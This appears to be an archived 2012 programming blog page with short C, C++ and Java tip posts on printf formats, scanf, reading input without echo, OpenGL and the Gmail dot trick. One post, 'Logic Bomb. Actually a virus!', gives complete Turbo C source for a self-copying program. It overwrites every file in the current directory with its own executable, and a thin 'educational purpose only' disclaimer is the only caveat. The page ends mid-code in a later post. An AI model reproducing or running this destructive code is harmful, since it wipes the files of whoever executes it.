Monday, July 16, 2012

Amazing DOT Tricks

Most of us would be using Gmail for email service . Do you have a period “.” in your email address .? If yes , then try logging into your account without that period and if no , then try to add a period wherever you want and then login. You will be granted access to your account.

Not understood ? Let me give you an example .




Thursday, July 12, 2012

Emulated Turbo C++ - Full Screen Version-Windows-Vista-7-8-x86-x64


Emulated Turbo C++ v3.00 for All Aero Based Windows version! Just Install the package and start using C++ full screen on your Windows!! No more need to stuck with XP for your programming needs!! Go Ahead and Do Code!!

Wednesday, July 11, 2012

printf() Tricks - C - Win/GNU


It may be old-fashioned, but I still find printf (and sprintf and _vsnprintf) incredibly useful, both for printing debug output and for generating formatted strings.

Here are a few lesser-known formats that I use again and again.

Monday, July 9, 2012

Evil C


This is a collection of strange C (and some Java) constructs. It's probably best not to use them, but you should know why they work
.

The cast-to-bool operator

Node *left, *right;
int childCount() 

{

Calling C Code from Java


**Using native code with Java applications and the Sun JDK



Introduction


This article shows how to access C code (also called native code) from within Java code. The C code exists as a PowerPC shared library containing several Process Manager calls. The functions in the shared library are used to get and store process information. A Java front-end calls the shared library at specified intervals to retrieve and display the process information. Timing for these calls is accomplished using a thread. The front-end also includes a preferences dialog with a pseudo-custom control written in Java. This program runs as a Java application, not an applet.

Sunday, July 8, 2012

General Keyboard Shortcuts


General Keyboard Shortcuts

  1. CTRL+C (Copy)
  2. CTRL+X (Cut)
  3. CTRL+V (Paste)
  4. CTRL+Z (Undo)
  5. DELETE (Delete)

Saturday, July 7, 2012

Constructing variable length structs in C

A trick to using structs that have a variable sized member is to use an overloaded operator new to allocate space for the struct.

struct string

Thursday, July 5, 2012

Y2K Problem + Day_of_week game! C-GNU/Linux

Hi geeks.. There we can find some of our friends who can find the Day-of-Week just with the date in few counts..! That's interesting game you know ? We can do that game as a program.. Yes we can..

Working with big endian data


A have always favored little endian number representation over big-endian, which why I was saddened whn I found that TCP/IP, and most internet protocols (such as SSL3) use a big endian representation for numbers. Following is the type of construct I use when I need to work with a non-native data type in structs that I pull off of the network.

Playing with the C stack


Parameters on the stack appear in memory with the leftmost item at the lowest memory location. Thus you can get a pointer to your functions stack frame, and walk the parameter list, or even cast your stackframe to a struct that can be passed to other functions.

Wednesday, July 4, 2012

Scan Characters without echoing - C

Happy to see you again..!

Have you noticed in UNIX terminal.. ? The characters of password you are typing will be hidden, that is not even replaced with a dot or asterisk(*) else nothing will be displayed. So it's impossible to find the number of characters in the password. What we are

Tuesday, July 3, 2012

Random Numbers - DIE Example - C++ / GNU


A program that illustrates the Random Number Generation, with Rolling Dice.
It will run only on Unix environment.

Movement of Teapot - OpenGL

An openGL program to illustrate the movement of teapot:

#include <cstdlib>
#include <iostream> // C++ I/O
#include <cstdio> // C I/O (for sprintf)
#include <cmath> // standard definitions
#include <GL/glut.h> // GLUT
#include <GL/glu.h> // GLU
#include <GL/gl.h> // OpenGL

Destructor - Java

Java uses finalize() method for Garbage collection. 

Example:

import java.io.*;
public class FinalizeObject extends FileOutputStream


Can you read a space with scanf? - C GNU/Win

If you are a student, and you are learning C, your teacher would have thought you that scanf can't read spaces as it treats spaces as line breakers. But It's not actually like that. See,

#include<stdio.h>
void main(void)
 {
  char line[32];
  printf("Enter a Text with Space :");
  scanf("%s",line);
  printf("\n\nReceived Text : %s",line);
 }

New Color Print for C/C++ DOS/Unix

No need of cprintf(...), no need of textmode(), textcolor(), textbackground().. Just print it as a string usin formatted character (%s). I'll give you examples.

Example Code :

Getting A Line Without Echoing - java.io.Console

Here's a code that can show how to receive a String or a Char[] without echoing

ConIO Extended features for GNU-C

Some of Extended ConIO features for GNU-C. Download it from here..!

Instructions:

Monday, July 2, 2012

Sunday, July 1, 2012

Logic Bomb. Actually a virus!

No Way I'm Responsible for Execution of this Bomb. This sort of viruses are called as LogicalBombs. They just replicate themselves into other files and inject itself byte by byte to other files in programmed directory. Windows based C Source Code. 

Should be used for educational purpose only.
Code:
#include<stdio.h>
#include<dos.h>
#include<dir.h>
#include<fcntl.h>
#include<conio.h>
#include<string.h>
void ext_rename(char file[])
 {
 char old[1000],ext[]="exe";
 int i,status;
 strcpy(file,old);
 for(i=0;i<strlen(file);i++)
  {
   if(file[i]=='.')
    {
     file[++i]='\0';
     break;
    }
   }
  strcat(file,ext);
  rename(old,file);
}
void main(int argc,char* argv[])
{
 char buf[512];
 char old[1000],ext[]="exe";
 int i,status;
 int source,target,byt,done;
 struct ffblk ffblk;
 clrscr();
 textcolor(BLUE);
 cprintf("--------------------------------------------------------------------------");
 printf("\nVirus: Logic Bomb 1.0\nProgrammer: SIBIDHARAN N\n");
 cprintf("--------------------------------------------------------------------------");
 textcolor(GREEN);
 printf("\n");
 cprintf("\nPress any key to start Injecting..");
 getch();
 done = findfirst("*.*",&ffblk,0);
while(!done)
{
  printf("\n");
  textcolor(YELLOW);
  cprintf(" %s ", ffblk.ff_name);
  printf("is converted into a");
  textcolor(RED);
  cprintf(" Logicbomb");
  source=open(argv[0],O_RDONLY|O_BINARY);
  target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONLY);
  while(1)
   {
     byt=read(source,buf,512);
     if(byt>0)
     write(target,buf,byt);
      else
       break;
   }
  close(source);
  close(target);
  done = findnext(&ffblk);
 }

getch();
}

Not Actually A Virus

This is not actually a virus, but there it's being detected as a virus. Reasons are quoted below..!

Code:
#include<stdio.h>
#include<conio.h>
union abc